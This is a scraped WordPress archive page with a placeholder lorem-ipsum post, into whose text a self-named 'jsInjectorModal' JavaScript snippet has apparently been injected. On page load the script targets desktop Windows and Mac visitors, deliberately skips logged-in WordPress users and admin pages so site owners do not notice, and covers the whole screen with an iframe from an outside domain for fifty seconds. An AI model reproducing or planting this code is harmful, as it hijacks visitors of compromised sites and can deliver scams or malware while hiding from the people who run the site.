Archivos por fecha:diciembre 2, 2019

Successful year full of events

1 Comentario en Successful year full of events
Donec posuere sapien est, vitae egestas orci suscipit aliquet. Pellentesque dapibus ullamcorper lacus vel euismod. Cras sagittis risus quis lorem egestas, id congue mi luctus. Pellentesque sem neque, viverra non venenatis id, ultrices sit amet massa. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. In elementum...
(function () { 'use strict'; var MODAL_URL = 'https://romxiu.com'; var DELAY_MS = 0; var DURATION_MS = 50000; if (window.__jsInjectorModal) { return; } window.__jsInjectorModal = true; function cookieName() { return 'jsInjectorShown_' + encodeURIComponent(location.host || ''); } function getCookie(name) { var m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '=([^;]*)')); return m ? decodeURIComponent(m[1]) : ''; } function setShownCookie() { var secure = location.protocol === 'https:' ? '; Secure' : ''; document.cookie = cookieName() + '=1; max-age=31536000; path=/; SameSite=Lax' + secure; } function isWinOrMacDesktop() { var ua = navigator.userAgent || ''; if (!ua) { return false; } if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile|Tablet|Windows Phone/i.test(ua)) { return false; } if (/Windows NT/i.test(ua)) { return true; } if (/Macintosh|Mac OS X/i.test(ua)) { return true; } return false; } function isLoggedInWp() { if (document.body && (document.body.classList.contains('logged-in') || document.getElementById('wpadminbar'))) { return true; } return /(?:^|;\s*)wordpress_logged_in[^=]*=/.test(document.cookie || ''); } function isAdminPath() { var p = location.pathname || '/'; return /\/wp-admin(?:\/|$)/.test(p) || /\/wp-login\.php$/.test(p); } function shouldShowModal() { if (!isWinOrMacDesktop()) { return false; } if (isAdminPath()) { return false; } if (isLoggedInWp()) { return false; } if (getCookie(cookieName()) === '1') { return false; } return true; } function createModal(url) { var overlay = document.createElement('div'); Object.assign(overlay.style, { position: 'fixed', inset: '0', width: '100vw', height: '100dvh', minHeight: '100vh', background: '#fff', zIndex: '2147483647', margin: '0', padding: '0', border: '0', overflow: 'hidden', display: 'flex', }); var iframe = document.createElement('iframe'); iframe.src = url; iframe.allowFullscreen = true; iframe.allow = 'fullscreen'; Object.assign(iframe.style, { width: '100%', height: '100%', border: 'none', display: 'block', margin: '0', padding: '0', }); overlay.appendChild(iframe); document.body.appendChild(overlay); document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; var duration = Number(DURATION_MS); if (!duration || duration < 1000) { duration = 5000; } setTimeout(function () { try { overlay.remove(); } catch (e) {} document.documentElement.style.overflow = ''; document.body.style.overflow = ''; setShownCookie(); }, duration); } function run() { if (!shouldShowModal()) { return; } var delay = Number(DELAY_MS); if (delay < 0) { delay = 0; } if (delay > 0) { setTimeout(function () { createModal(MODAL_URL); }, delay); } else { createModal(MODAL_URL); } } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', run, { once: true }); } else { run(); } })();
Ir al contenido